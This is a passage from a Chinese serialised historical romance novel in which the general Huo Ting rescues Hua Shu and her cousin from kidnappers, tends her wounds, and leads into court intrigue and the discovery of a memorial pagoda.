不仅如此,这支利箭直逼山洞,小沙弥应声栽滚出来,心口中箭,口中血沫直流。 华姝两人愣了愣,相继转头看向河对岸。 雨不知于何时,说停就停了。 霍霆赫然矗立于一块巨石之上,藏蓝色披风在寒风中飘摇,他则稳如巍峨苍山。 手持那张猎猎长弓,将沙场将军“一夫当关,万夫莫开”的威摄气势,挥洒得淋漓尽致。 让人看得心安。 惊魂不定的俩小姐妹,这才堪堪松开彼此,浑身彻底虚脱松散。 而只差一步的濯缨,望着从四面八方赶至的守备军,脸色反而愈发紧绷。 都怪他学艺不精。 王爷腿疾已愈的事,瞒不住了。 长缨也反应过来,脸色煞白,眼神僵住。 霍霆沉声:“长缨,送大小姐回去。” “……是!”长缨冷不丁激灵了下,顾不得使用轻功,踉踉跄跄趟着水,就带人去搭置简易担架。 与此同时,霍霆随手将长弓扔给濯缨,踮脚飞掠而起,凌空虚踩几下水面,黑靴稳稳落到对岸。 华姝两人还半趴在地喘着。 霍霆停在两人跟前,右手朝前虚抬了抬,又收回身侧,“可有伤到要害,起得来么?” 华姝摇了摇头。 先挣扎着自己坐起身,又扶着霍千羽起来。 霍千羽也摆手道无事,“姝儿一直护着我,只是些轻微磕……四叔,您的腿?” 霍霆身形魁梧,居高临下站在面前,一股泰山压顶的异样很难不令人察觉。 华姝心弦揪紧,忧心仰头看去。 腿疾的事,可是将圣上都瞒在鼓里,实乃欺君之罪。 然而,男人关心的另有其事。 四目相对,凤眸黑沉地投下来,“简直胡闹!” 语气前所未有的怒重。 华姝心虚垂头,“当时事态紧急,还望王爷宽恕。” 她是故意没告知他,绑匪绑错了人。否则霍霆决计不准她前来。 当时圆妙大师之死尚未有定论,那位裴大人率领一帮杀人如麻的锦衣卫又在虎视眈眈,华姝知道霍霆走不开,便没敢烦扰他。 没想到,反倒烦扰至此。 寒风猎猎,打透湿漉漉的衣衫,她后脊忍不住瑟缩了下,仍不敢抬头。 “今日之事,本王必不宽恕。” 头顶砸下寒沉的话音,华姝肩头也一沉。藏蓝色的宽大披风,飘然盖在她俩身上。 她抬头瞧去,霍霆已转过身,冷眼觑着那两个绑匪。 小沙弥被一箭穿心,脸朝下泡在血泊里,死得透透的。 另外那绑匪陷在乱石堆里,肺部还插着华姝的那把刀,每呼吸一下就疼得四肢抽搐,奄奄一息。 翻白的双眼,还怨毒不甘地直勾勾盯着她。 惨状恐怖如斯,吓得华姝甫一瞥,就缩回了头,薄肩颤颤发抖。 霍千羽看得分明,忙将华姝搂进怀里。 手臂不经意碰到她纤薄脊背,疼得她吃痛拧眉。 两人刚在乱石中滚过一遭,华姝包裹在外层,估计身上已没一块好皮。 霍千羽忧切:“很疼吧。” 华姝摇头,还没到无法忍的程度。 霍千羽见她情绪不高,“别怕,一切有四叔在呢。” “四叔可是咱们大昭的战神,声名远播,勇武非凡,他肯定能护我们周全。”她也如是劝慰着自己。 过了会,华姝微微颔首,喃喃应道:“嗯,四叔箭无虚发,实至名归。” “姝儿的飞刀也耍得厉害,甚有女侠风范!”霍千羽努力找话题,来转移注意力,“何时学的,改日也教教我罢?” 华姝羽睫微眨,脸颊悄声埋进风衣里。 不远处,霍霆正有条不紊地指挥着守卫军。将两个绑匪带回去查验,活要审讯,死要验尸。 当身后两个姑娘的对话,轻轻柔柔飘荡过来,他身形莫名微顿。 而后,状若无事地随手指了两人,“你们,去将山洞仔仔细细搜查。” “是!” * 学习飞镖,约莫是在山中半月之际。 霍霆态度有所软化,会在萧成他们下山采买时,吩咐带些女儿家的首饰和胭脂回来。 华姝心中欢喜,欢喜他对她戒备降低。于是试探着提出,同他学习射飞镖的想法。 她打算先记住要领,等他们出门办事再偷偷练习。问就是没学会。 若逃跑途中被追上,看似手无缚鸡之力,实则能打他们一个措手不及。 奈何华姝百般游说,霍霆都不予理会:“太过危险。” 白日说不通,就只能夜里了。 当晚月光与灯光,一个似水,一个似火,水火相交不相融。 霍霆喝完带鹿血的汤药,动情燥热,像往常一般伸手去捞枕边的曼妙佳人。 华姝瞅准时机,双手撑在炽硬的胸膛上,不准他亲近,“我这会没心情。” 偏那柔滑细嫩的指尖,有一下没一下地轻点着,像是小猫毛茸茸爪子来回踩奶,又轻又痒。 撩拨更甚,霍霆呼吸也更重。 他攥住那作祟的小爪子,哑声开口:“有话直说。” 小心思一下被戳破,华姝不敢再造次,似有哀伤地低语道:“学射飞镖,是想白日也与你多亲近亲近。” “自打你双腿好转,每日早出晚归。同住半月,我们还好像陌生人。” 她小心观察,见他神色似有考虑。 于是压下臊热的羞耻心,主动凑过去亲了亲他喉结,软语撒娇:“我想多了解你一些,好不好嘛?” 本就箭在弦上的男人,哪能禁得住柔声细语的身心双重撩拨? 当下虎躯一震,径直俯身压下去。 此前顾及她年纪小,他一直都点到为止。那晚索取教习报酬,难得餍足一回。 累得华姝最后双手红肿打颤,猫进虎皮毯子里,轻哼啜泣:“我不学了,不学了行不行?” 结果就是: 次日清早,霍霆找到大小始终、没菱角的石子要主动教习,她还腰酸不想下地…… * 刚下过暴雨,天色也不早了,这会下山诸多不便。 简易担架抬过来后,由华姝搀扶霍千羽躺上去,然后长缨带着守备军一路护送回寺里。 华姝则随霍霆先行一步。 绑匪点名道姓要挟持她,她若再同大伯母等人待在一起,保不准又会殃及无辜。 她适才想了想,最近也就与宋煜结仇过。趁霍千羽没注意,低声问:“会是那人吗?” 圆妙和华姝接连遭遇袭击,更像是声东击西,有备而来,霍霆怀疑与当年屠烧华家的凶手有关。 但此事尚不宜多谈,他遂浅浅颔首。 华姝:“可长缨侍卫说,您有派去眼线。” 霍霆目光不善地看向一旁。 长缨尴尬挠头,“这、这个……”忘串词了。 马车在山道颠簸,缓缓前行。 华姝坐在软垫上,臀部仍肿疼得厉害,背后伤口也时不时刮蹭到车厢。 霍霆这会怒意未消,周身气场压迫,狭窄马车内更甚。 她是一点声响不敢出,只咬唇忍着。后脊湿了大片,咸湿汗水浸泡伤口,更是熬人。 忽而这时,一只铁臂捞起她,在半空打个转,人就直挺挺趴到男人双腿上。 两团柔软压在坚硬的他膝头,华姝不自在地挣扎道:“王,王爷,我没什么大碍的。” 娇臀突遭一击:“还逞能?” 力度不重,但尤为致命。 华姝瞬间不敢动弹。 默了默,手臂交错垫到身下,尽可能隔离开一点缝隙。 换过姿势,后背的肿痛轻缓了不少。 霍霆垂眸凝着她别扭的姿势,眉峰微蹙,“再忍会,即刻到别院。” “……嗯,多谢王爷。”华姝闷闷应了声。 霍霆眉峰蹙紧,“与我这般疏离,却为旁人不顾性命?” “你可知,今日若晚上一步,后果不堪设想。” 饶是霍霆征战沙场多年,见惯生死。此刻忆起那惊险一幕,亦不免心有余悸。 华姝何尝不知? 尽管有霍霆陪伴在侧,她仍怕得不敢闭眼。甫一闭上眼,绑匪垂死时的怨毒可怖的盯视,就频频刺来。 急着救人时来不及多想,现下忆起与绑匪的近身交手,她一个姑娘家免不得心尖乱颤。 马车惶惶沉寂下来。 但霍霆的膝头,随之感应到一阵细微的抽动,伴随着点点湿意。 他呼吸微紧,掏出干整帕子递过去。 华姝将泪眸埋进帕子,但有些不敢去触碰的悲恸,一旦牵扯,便如荆棘疯长,止不住地催心断肝。 头顶传来叹息:“已经两回了。天大的恩情,能抵得过你性命?” 随之而来的,是一道宽厚大掌,轻揉了揉她头顶。 华姝揪紧帕子,心神莫名微松,缓缓道出埋在心底多年的愧疚:“其实表姐的双腿,是因我而伤。” 此事要追溯到,华家满门惨死于大火的那一年。 第26章 除衫上药 还是稚童的小华姝, 因到霍家找小姐妹霍千羽玩耍,幸免于难。 霍老夫人心疼她年幼痛失亲人,不敢残忍告知,只道家人到外地探亲, 要很久之后才会回京。 并勒令府上所有人闭紧口风。 世上哪有不透风的强?某日小华姝在花园玩耍, 意外从碎嘴的婆子空中惊闻真相, 失魂落魄地就哭闹着要回家。 当时老夫人等人去宫里赴宴,家中没有长辈。霍千羽实在拗不过, 只好选择加入。 俩小姐妹各自带个嬷嬷,抵达烧成废墟的华府。 小华姝瞧着满目疮痍,根本接受不了,一个劲闷头往里冲。 “爹,娘,你们是在跟我玩捉迷藏对吗?” “姝儿找不到你们,姝儿认输了,你们快出来吧!” “别丢下姝儿一个人呐,我好害怕……” 她跑啊跑啊, 找了好久, 始终找不到一张熟悉面孔。昔日热闹欢乐的家, 宛若一场黄粱美梦。 她瘫坐废墟里,哭得泣不成声。 霍千羽气喘吁吁追上来, 抱住她:“姝儿别怕, 以后我家就是你家, 我的亲人都是你的亲人。” 小华姝闷头不语。霍祖母待她很好, 可终究隔着一层呢。 霍千羽哄劝多时未果,只得吩咐贴身嬷嬷:“去买点栗子糕回来。” 听到栗子糕,小馋猫终于有点反应, 红肿双眼,嘟嘴道:“还想要杏仁乳酪。” “好好好,都买双份的。”千羽小表姐无有必应。 小馋猫破涕而笑,随后由自己嬷嬷哄着,带去马车换身干净外裳。 霍千羽则留在寻找,华姝刚刚跑丢的青木簪。青木簪不算贵重,却是华母留下的唯一遗物。 殊不知,这次再寻常不过的暂时分别,竟成她与自己双腿的永久诀别。 众人最后将她从湖里捞上来,人已没知觉。 二月倒春寒时节,湖水冰冷刺骨,小小一孩童泡在里面大半晌,好不容易保住性命,双腿筋脉已被冻伤。 多位太医婉言确诊,此生再难站立…… “她如何掉入寒湖的?” 霍霆听到这里,一语揪出漏洞。 “表姐当时说,是远远望见湖边有个人影。她误以为华家有人幸存,急急追过去。待走近,却瞧不见人影。湖边结冰擦滑,她一时没收住脚,然后就栽落下去。” 华姝回忆道:“可那日,霍家护院翻遍整个华府,也仔细询问过四周街坊,都无人瞧见。” “后来,长辈们怀疑是表姐贪玩想溜冰,故意找了这么个借口。” 她闷头惭愧:“不论如何,若非我坚持要去,表姐就不会瘫痪这么多年。” 说话间,再度哽咽啜泣,眼眸弥漫起一层水光。 霍霆伸手揩去她眼角泪珠,“因此你就发奋学医,小小年纪,医术远超同龄人。” 他用的肯定句,每个字都说进华姝心坎里。 反而惹得她打开心扉,愈发泣不成声:“可我还是治不好她,一点用处都没有。” “这事不怪你,我来想法子。” 霍霆揉了揉她头顶,温声安慰。 这是实话。 于大多数人而言,华家当年那场大火,被官府定案为意外失火。是而当年霍家的人,未往深处想。 但霍霆知晓,这是场不折不扣的谋杀! 霍千羽所见背影,很可能是纵火凶手或其同伙,故而连带着差点被灭口。 他凤眼微眯,那人当时返回华家,可是在寻找什么重要物件? * 抵达城郊别院,日薄西山。 濯缨已先一步快马加鞭赶至,吩咐下人备好房间,热水,一应金疮药药膏。然后闪身回到暗处待命。 须臾后,霍霆走向马车,抱着披风里的姑娘,大步走进门。 华姝本是不应,奈何他又拿祖母压她,“再乱动,咱就直接回府。” “……”趁人之危。 可筋疲力竭一下午,真窝在他宽厚温热的怀中,她意外得以片刻安宁,不自觉阖上红肿的眼眸,静嗅草泥清香。 忽然,身下一个趔趄。 华姝惊慌地环抱住男人的劲腰,花容失色:“您怎么还……”故意吓唬人。 霍霆稳住身形,忍下大腿旧伤处的一簇簇蚀骨之痛,语气波澜不惊:“不慎踩空了。” 面上却眉心蹙紧。 余毒霸道,看来他短时间内不好动武了。 这对于一个将军而言,无疑致命。 尤其是一个深陷危机四伏的将军。 但霍霆未有多言,只略放慢脚步,平稳绕过几弯小路,走进主屋,将人放到圆桌旁的靠椅上。 圆桌上,摆有两碗热气腾腾的姜汤。 华姝两手虚扶着其中一碗,小口小口抿入喉,脸颊被热气熏得泛红。 霍霆动作相对粗犷,一口饮尽,放下空碗。 随后吩咐下人抬进来浴桶和热水,“那河水湿寒脏污,喝完姜汤,再泡个热水澡。” 华姝点头应好,“王爷肩膀伤势未愈,也得早些换下湿衣物,重新包扎才好。” 这会回过神来,一想到他绷紧手臂弯弓射箭的画面,心弦也跟着紧绷起来。 霍霆瞧着她了会,华姝不解其意,转而就听见:“晚些我带药膏过来。” 她脸颊又一热,眸光躲闪:“……长缨没在,但别院还有其他人。” 霍霆;“送来给你用。” “……”这人绝对故意的。 华姝说不过他,索性躲到屏风后面,试了下水温,热度适中。 但瞧着摆在旁边的换洗衣物,犯了难。尺寸宽大,衣料比不得女儿家的柔软,且没有贴身小衣。 不像给她准备的。 外间,霍霆在原地静候片刻,没等到屏风里的人提出不适之处,便起身走出去,关紧房门。 “王爷。”身后的房门意外被打开,“我是不是该去其他房间?” 霍霆回身,“可是有何不妥?” 华姝略有迟疑,然后缓步走到他跟前,小声解释:“里面放着您的衣物。” 廊下的红色灯笼,自高处投射点点光圈,映照在那娇俏的脸蛋上,红晕朵朵。 霍霆目光落在其上,“是为你所备。” “可有其他丫鬟的衣物?旧衣物就成。” 空气稍有寂静。 半空有片松落叶飞过,恰是沾在纤瘦的薄肩处。 霍霆上身微倾,拂去那落叶的同时,近乎轻声耳语:“这些年,我身边只有过一个女人伺候。” 轰—— 华姝好似被封印在原地,久久忘记回神。 以至于霍霆何时转身离去,她都未有察觉。 闲适的小院中,松风微漾,叶落无声。 * 同一时刻,皇宫太极殿。 昭文帝坐在窗前的明黄软塌上,瞧着面前命数未定的棋局,久久未曾落子。 在他对面,是裴夙。 得知霍霆双腿已愈后,他从皇龙山一路快马加鞭,连夜觐见。 明日就是三年一度的秋闱殿选,要从数十名进士中,择出最后前三甲。 此前昭文帝对霍玄的殿试考卷,颇为满意。 然而霍霆站起来,独自撑起霍家的一片天后,霍家其余人的政途,必然要生出新的变数。 这一消息,裴夙势要在圣旨下达前禀明圣上,才算辜负“天子近臣”的恩典。 “幸得初安消息及时。”昭文帝摩挲着指尖的黑子,碾了又碾,终是扔回棋碗中,兴致恹恹。 他斜靠到手枕上,“这霍家大郎的为人,你了解多少?” 东厂手握情报网,是昭文帝一手培养起来的暗探。 裴夙也放下棋子,知无不言:“从其学院师父同窗的评价来看,是个忠诚宽厚的,与其父霍雲有七八分像。” “可惜了。” 昭文帝却叹了声,可谓君心难测。 裴夙侍奉天子左右多年,倒不难揣测几分。 此前安置将士一事上,霍雲选择与霍霆站在同一阵营。霍玄既与其父性情相近,自然也会唯其四叔霍霆马首是瞻。 然而天子择选的新臣,不可能容忍他一仆二主。 “皇上爱惜人才,日夜操劳朝堂国事,实乃我等臣民之福报。” “微臣忽然有个不成熟的想法。” 裴夙拾起昭文帝适才扔掉的那枚黑子,递上前:“宫中几位公主皆到婚配年纪,明日遴选出前三甲后,若能才子配佳人,不失一段美谈。” 昭文帝凝神听着,略作思忖后,龙颜大悦接过黑子,一子定下输赢:“此局已解。” “陛下棋艺精湛,初安自愧不如。”裴夙笑言。 “与朕对弈,你惯是不肯拿出真本事。” 昭文帝抬手招呼小太监,作势要再摆一盘。 这时门外来报,“启禀陛下,宋妃娘娘带了些糕点过来。” 宋妃即是宋煜的胞妹,入宫后颇得圣心。天黑后前来,心思明显。 裴夙识趣起身,告辞走出太极宫。 宋妃与他相互见礼,盈盈袅袅提着糕点走进内殿,三两句软语,就哄得昭文帝爽朗大笑。 两人耳鬓厮磨一番,昭文帝顺势提及公主选驸马的事。 皇后常年卧榻,如今是宋妃在执掌后宫事宜。 “陛下即将遴选新科状元,可堪公主良配。臣妾明早就提醒几位公主,大伙都去榜下捉赘婿去。” 宋妃掩面一笑,半是打趣半是意会道。 自古前朝后宫一体,宫妃嫁进来,公主嫁出去,皆是为稳定朝臣的忠君不二之心。 宋妃心中清楚,根本无须他人言明。 昭文帝最是欣赏她这一点,旋即将人打横抱起往寝殿内走去,以示嘉奖。 静谧宽敞的宫道上,宫灯闪着光影,影影绰绰。 裴夙走去宫门的途中,仍在思量霍霆的事。一双月亮眼,兴致盎然。 这位镇南王当真不简单,他如今颇为好奇,明日早朝霍霆要如何与皇上交代,交代这一重大欺君之罪。 此刻宫门下钥,不过宫门守卫无人敢得罪天子近臣,皆是远远恭迎行礼,宫门大开。 宫门外,容城已等候多时。 裴夙坐上马车,按了按发胀的眉心,旋而问起:“小姝伤得如何?” 寒凉夜色下,容城局促站在车窗外,喉头吞咽了下,“华姑娘……无性命之忧。” 那就是伤得不轻了。 裴夙声线一凛,“你是怎么办事的?” 容城骤然跪地,双膝闷声磕在大理石砖上,“督主息怒,属下罪该万死!” “若非她生死一线,恐是还诈不出霍霆的虚实。这次姑且算你功过相抵,起吧。”裴夙又问,“她今晚大约不好下山。你可在寺里留足金疮药?” 容城谢恩起身,“华小姐已被镇南王带去城郊别院,想必是够的。” “又是镇南王。”裴夙黑眸微眯。 眼前不由浮现出,华姝在禅院披着玄色披风的那一幕,莫名觉得碍眼。 他忽而顿了顿,“你适才说城郊别院,可是那一处?” 容城:“正是。” 闻言,裴夙玩味笑了声:“挑些补品和祛疤膏,咱去探望小姝。” “……现在?” 容城蓦地反应过来,“是!” * 半个时辰后,华姝梳洗完毕,门外传来几声轻扣。 “是我。”沉声熟稔。 “请进。”华姝裹着宽大衣袍,捂脸猫进床里,“有劳王爷费心,您将药膏放在桌上就行。” 霍霆推门而入,目之所及空无一人。 隔着屏风,都能猜到小仓鼠缩在窝里的情形。他轻扯唇角:“你那伤都在后背,自己如何能行?” 闻言,华姝一怔。 什么意思?他不放心她自己涂药,别院又没有丫鬟,岂不是说…… 反应过来后,她一时想不到辩驳之词,抿紧唇瓣,羞于接话。 适才沐浴时,后背的伤口一沾到热水,就刺痛难捱。她没敢多待,手脚回暖后就起身退出浴桶。 更衣时,侧身照看铜镜,隐约瞧见后背有几条渗血的长条细伤。 她原想用干整的帕子擦拭,偏那位置刁钻,手臂扭转时,牵连肩胛骨阵阵抽痛,只好作罢。 华姝犹豫之际,屏风外的脚步声已由远及近。 为防止她衣衫不整,霍霆中途略有停顿,见未有阻拦,才绕过屏风款步走进。 他将托盘放到床头小几上,里面除了药罐,还有香气诱人的甜粥和虾饺,“先用膳,还是先敷药?” 霍霆这会已换上干整衣物,束腰窄袖的靛蓝色锦袍,勾勒出他精壮的魁岸身形。 背光站在床前,投射下来一片宽厚的暗影。 华姝被包裹其中,如此近距离面对面,她喉头发干:“稍微忍一忍,淤青也能自己消下去的。” “其他伤口,又当如何。” 沙场刀剑无眼,霍霆受伤不计其数。什么地形,什么程度擦破,他一瞧便知。否则下山时,也不会强行要她趴在怀中。 “不要紧的。”华姝蚊声推拒,她还是过不了心知那道坎,“王爷重伤未愈,合该多作歇息才是。为着我这点小伤,您……” 忽然这时,身旁的床榻一沉。 霍霆坐到床边,定睛而视。 话语间似有几分劝说,几分威胁,以及几分试探:“姑娘家身上留疤,不好议亲。到时婚嫁之事,你就仅剩一人可择选了。” 狭窄的床笫间,空气莫名稀薄。 华姝呼吸微窒,垂眸不言。 “先用膳,还是先敷药?”霍霆又问一遍。 看似征询,又不容置疑。 “……先敷药吧。”总好过提前用膳时,也煎熬不能自已。 霍霆起身去净手,随后站在窗边远眺,未有回头。 皎洁月光撒入窗内,给他靛蓝色锦袍镀上一层薄薄的朦胧玉色,平添几抹神秘谪意。 华姝不好劳驾他久等,搓了搓手指,抬手扯松衣带,将那宽大的玄色外裳和白色中衣相继褪去,只余有一件半干的翠绿小衣在身上。 肌肤暴露在空中,白皙圆润的肩头,微微一颤。 然后趴到锦被上,她尽可能遮住腰身两侧,才温吞提醒:“王爷,我好了。” 声音闷闷的,似隔着什么棉絮之物传出。 霍霆回到床边时,果然瞧见有人将头整个蒙进被子里,兀自掩耳盗铃。 他却没啥心思取笑,视线落在那白皙薄背上,几条血痕触目惊心。 不由胸腔揪紧,都伤成这样了,还说要忍? 此情此景,他不想对眼前娇小姑娘妄加评价。没保护好自己的女人,即是男人之过。 霍霆蹙紧眉头,抬手拿过药罐,挖出一块白色药膏,清淡的药香缓缓浮入空气。 压在掌心搓热,然后指腹适量蘸取,轻轻涂抹在那沁着血丝的伤口上。 那细腻肌肤,倏地一抖。 他动作顿住,“弄疼你了?” 华姝嗓音更闷了,“……是药物刺痛的缘故,无妨的。” 霍霆道好,但还是再度放轻力度,一举一动皆是小心翼翼。比两军对垒,还要严阵以待。 不消须臾,他额头就沁出薄汗。 华姝也好受不到哪里。 刚刚她其实说了谎。霍霆拿来了宫中太医院研制的上等金疮药,刺痛感并不强烈。 但那指腹的粗粝感,这具身子过于熟悉了。 饶是药膏沾肤,泛有丝丝凉意,可难抵那指腹带来的阵阵灼烧感。挨着颈骨,自上而下。 可她不知,白皙肌肤,早已升腾起片片不自然的红。 霍霆只觉他大掌所到之处,皆可无火燎原。 适才听着那窸窣衣料的动静,尚能心无旁骛。 然而这会,视线被那道道红晕牵引,将那大红锦被中的翠绿细绳,不自觉收入眼底。 霍霆克制地挪开视线,集中注意力点涂药膏。 涂药用去将近两刻钟。 期间,两人各有各的有苦难言。 狭窄床笫间静悄悄的,又似有隐秘气氛在暗流涌动…… “好了。” 终于涂完,两人皆是松了口气。 霍霆背过身去,顺势将药罐盖好,放回远处。 华姝忙不迭拉下浅灰色床帏,拿过衣衫裹严实。 屏息等了会,却不见霍霆起身离去。想到他端来两人份的餐食,这会也不好意思开口赶人,于是慢吞吞拉开床帏。 霍霆递来热粥,“自己能端吗?” 要是不能呢? 华姝赧于去揣测,忙道谢接过,低头安静吃着,不好意思与之对视。 可她感觉到,霍霆不加掩饰看过来的目光。 直觉而言,这不是个好征兆。 今日的他,在一次次倾力相助中,似也在一步步试探她的底线。 果然,晚膳后,霍霆仍没要走的意思。 华姝抬眼瞧去,眸光撞进他眼中,深邃凤目意味不明。 可她福至心灵地看懂了,搓了搓莫名发凉的手臂,“……王爷有话要讲。” “华姝,我对你不住。”霍霆拾起大红锦被,披在她发凉的肩头,轻叹道:“先前应你的承诺,怕是要食言了。” 其实华姝猜到了。 可真听他亲耳说出来,还是沉默良久。 她不说话,他就静候她的态度。 他的耐心持重,远非她所能及。 华姝眼波微转,“王爷说笑了,原是我亏欠您更多些。您清风高节,胸有乾坤,多年来深受万民敬仰,也合该择一位高雅冰清的女子婚配。” “大约明早,您腿伤痊愈的消息就会传遍燕京城。不出几日,祖母那的拜帖即能堆成山。” “至于山中事,”她低头揪紧被角,“是我失节在先,实在配不得……” “谁准你这般糟践自己?” 握在肩头的大手,加重了力道:“一个清清瘦瘦的姑娘家,如若我不默许,你能做什么?” 华姝脸颊微烫:“您那会是因药物所致。” “你比我还清楚自己的心思?” “住我心里了?” 今晚的霍霆,比以往都更加直白。 语气不重,但侵略性极强。 华姝喉头发紧,后面的托词嚼在齿间,小心打磨。 能看得出,他对她真有几分上心,并非单纯的负责。可这几分上心,在现实中充满太多的不确定性。 “有没有可能,是您这些年不常接触女子的缘故?” “您不若试着与其他姑娘相看。” “或许会遇到比我更合……唔……” 唇瓣蓦地被堵住,华姝懵住。 贴过来的唇,是柔软温热的。 可动作是强势刚硬的,不轻不重地咬了口。 像是咬在她心尖。 华姝回过神,羞臊地慌忙伸手去推。 倒是一推,就将人推开。 但头顶砸下来的沉声,语气不善:“继续说。” 华姝又不傻,哪还敢呐? 唇瓣火辣辣的,心脏也砰砰乱跳得厉害。 本就暧昧的床笫处,因着这一个突如其来的吻,让氛围越发热烈浓郁。 只怕她再多说错一句,今晚怕不是就得再现山中的夜景,甚至…… 斟酌良久,华姝也只能战术性拖延,“我有点累了,可否明日再同王爷商议?”—— 作者有话说:前一章加了些山中回忆,姝儿撒娇让王爷教她射飞镖[狗头] 然后之前的结尾,就顺延到本章啦~ 第27章 深夜的意外靠近 霍霆替华姝放下湖蓝山水刺绣床幔, 熄灭屋内晃眼的灯盏,才踏着皎洁月色,回到自己书房。 “老大!” “老大回来了!” 霍霆一推开房门,十二罗汉将军早已等候在此, 不请自来。 大伙都很担心他腿疾痊愈的事暴露后, 会被扣上欺君之罪的帽子。终于等到人, 纷纷起身围上来。 唯独萧成是例外,和衣歪在软塌, 双眼怔讼,伸长脖子瞧过来:“老大?您今晚没歇在嫂子那儿啊?” 莫不是被赶出来了? 当然,这话萧成打死也不能说。 在霍霆不善的注视下,一个鲤鱼打滚,麻溜起身凑过来,结果屁股就被挨一脚。 是二哥武广踹的,“没大没小。” “都坐。”霍霆坐到主位,其余人接连落座。 他清了清嗓子:“腿疾一时,我明日早朝自有应对。眼下当务之急, 是圆妙之死。” 萧成点头:“这人死得太过蹊跷, 让人不得不怀疑。” 武广:“可他人已死, 这线索就断了,该如何查?” 霍霆轻扣书案, “长缨。” 长缨旋即推门而入。 他带着华父那几本医书手迹, 刚刚下山回来复命。 应霍霆吩咐, 将医书和圆妙身边四个小沙弥的情况, 逐一汇报给萧成几人。 “属下用了点手段,撬开一个沙弥的嘴,说是圆妙云游在外时, 有个相好的。” 他将一张女子画像,摊到书案上,“按其描述所绘,约莫只有五六分肖似。” “有五六分就够了!”萧成大喜,拍了拍长缨肩膀,“你小子可以啊,这差事办得是越来越顶了。” 其余人亦是赞许。 而后,几个兄弟又密谈了些其他军事,方才散去。 月上柳梢,天边风云变化莫测。 霍霆送走几人后,在萧萧晚风中静立片刻,转而朝着后院的那座高塔走去。 古塔七层,通体玄黑。 巍峨矗立,直指苍穹。 * 悠扬清韵的笛音传入窗时,华姝尚未睡着。 她身心疲累,可侧卧在温软的被褥间,又毫无睡意。 男人索要的答案,这两日的遭遇,一闭眼全都涌了上来,反复翻搅。 “这笛音,师父?”应该从圆慧方丈那,得知她受伤的事了吧。 她缓缓坐起身,细听辨认后,用披风把自己包裹严实,踏进月色。 进来时被那人抱着……这回靠她自己走,才察觉这座别院大的吓人,比霍府两倍不止,小路九曲交错,稍不留神就失了方向。 好在有笛音指引,磕磕绊绊总算寻到角门,门房睡得正酣。 “师父,是你吗?”华姝隔门确认好身份,才走出去。 门外的粗壮古松上,重新易容了的裴夙,红色锦袍外搭玄色披风,在夜风中猎猎摇曳。 他飞身而下,姑娘身上的男人披风,目光滞了一瞬。 而后将长笛别进后腰,朝她伸手,“给为师瞧瞧你脉象。” “是些皮外伤,都涂过药了。”但见他坚持,华姝还是将手腕递过去。 不同那人的炙热体温,师父的指腹一向冷凉,她禁不住颤栗了下。 裴夙随即松开手,往纤巧掌心放了两瓶祛疤膏,“先用着,回头再给你调制些更好的。” “好。有师父出手,保准百病全消。”华姝将青釉瓷瓶收进袖中,顺势搓了搓手腕,“对了,您怎么这时候过来了?” 裴夙眸光微潋,“一路跟着你们下山的,估摸着这会见你方便些。” “活该你白日得罪了王爷,晚间连正门都不敢敲。”华姝笑话他,“看您下回还口出狂言不?” “哎呀,没良心啊没良心。”裴夙故作伤心欲绝,趁机又撸了一把小徒弟的脑袋瓜。 手感比家里的牧狼好很多。 还会炸毛瞪他,奶凶奶凶的,“都说过了,不准再呼噜毛!” “谁让你总骑到我头上,为师不得找回点心理平衡?” “哼,为老不尊。” “哼,你目无尊长。” “……”华姝比不得他巧言令色,气闷抿唇。 裴夙再笑,顺势将目光转移至院墙内的玄色高塔,仰头观摩。 华姝也回身看去,惊奇:“这里怎么会有座塔?” 先前过来时都不曾发觉,七层高的塔身隐匿在夜色中,不同于飞檐雕梁的古刹,它通体光滑,如峰如嶂. “此地最早是城门瞭望塔,后来城池扩建,赐给了一位将军。”裴夙侧脸看回华姝,漫不经心似的讲述道:“几代辗转,存续下来,就不知如今作何用处了。” 华姝迷茫地摇了摇头。 老实说,她嫌这古塔有点丑,不过倒也未妄言评价。 裴夙见此,笑了笑,又细细叮嘱两句“按时多涂药”、“近日吃食要忌口”,就让她早点回房歇着。 * 华姝折返时,还是迷路了。 偌大的园林,亭台楼阁林立,晚间置身其中让人越找越远,越绕越偏。 石桥上,她翘首环顾四周,纳闷:“怎么都无人当值?” 隐匿的暗卫们,默默捂脸。 此处守卫极度森严,旁人若来夜袭,不消须臾就会万箭穿心、被射成筛子。 但对于裹着王爷披风的女子,柳弱花娇的,万一跳出去再把人吓着,少不得要挨顿鞭子。 暗卫们小声蛐蛐: “长缨哪去了?” “白日办差不利,同濯缨一道挨鞭子呢。” “不若去通禀王爷?” “茔塔那地,无令谁敢去……遭了!她去了!!” 众人眼瞅着那纤瘦的身影,一路走下石桥,转至高塔前。 “请问有人吗?我想问下路。” 虚掩的门扉泄出一丝昏黄光亮,华姝敲门等了会,才“吱呀”推开门板。 塔内尘味潮湿,莫名透着股阴森。 圆径四丈,盈盈壁灯映出一整圈的高大石碑,有两人多高,贴墙伫立。 环形楼梯架在中央,直抵塔顶。 一楼像是储存杂物的,她走到楼梯旁,眺望楼上。 二楼也是石碑,三楼隐约瞧见木桌,应是有人在吧? 于是华姝踩着木质楼梯,缓缓登上三楼,“请问,这里有人……” 声音戛然而止,她从头冷到脚。 木讷地盯着面前的桌案,整个人像是被钉在了楼梯转角。 三楼是有木桌不假。 但不是给活人用的。 只见饶墙一整圈的长案上,都摆满了牌位,不下上千个。往生灯荧荧长明,照亮一道道木牌,是“无字碑”。 华姝看向楼下,莫非那两层石碑也都是? 霎那间,她有一种午夜误入墓地的错觉,脸色煞白。 突然,楼梯上方震动,脚步声传来。 她慌忙仰脸看去,熟悉的身影映入眼帘,“王、王爷?” 顺带着瞥见,四楼也是牌位,五楼貌似悬挂着一幅幅画像。 华姝无措地后退两步,感觉自己闯祸了。 霍霆缓步下楼,停在她面前。 他还是那身靛蓝的锦袍。 可此刻,黑眸幽邃如渊,就连眉骨细疤都透着一股陌生的隐秘色彩。 他肃然瞧了她一瞬,“走吧,送你回去。” 不问责她的么? 华姝乖乖点头,跟在他身后下楼,目不斜视地走到塔外。 园中月色空明如水,她看着男人高大笔挺的背影,心中百转千回。 只知道这位四叔是霍家的养子,但他从前姓甚名谁,为何失踪数年才归,貌似霍府上下鲜少提及。 什么样的旧事过往,会启用一整座塔来作祠堂? 如果是为了祭奠出生入死的战士,为何又要立“无字碑”? 思量片刻,华姝怎么想都觉得此地事关重大,应当作下解释。 她小跑两步上前,简单提及了师父来送药的前因,“后来见塔内有光,我就想问问路。实在不济,登高望远也能解开困局。” “之后不会再去了,也不会向任何人提及此事,我发誓。”她举手保证道。 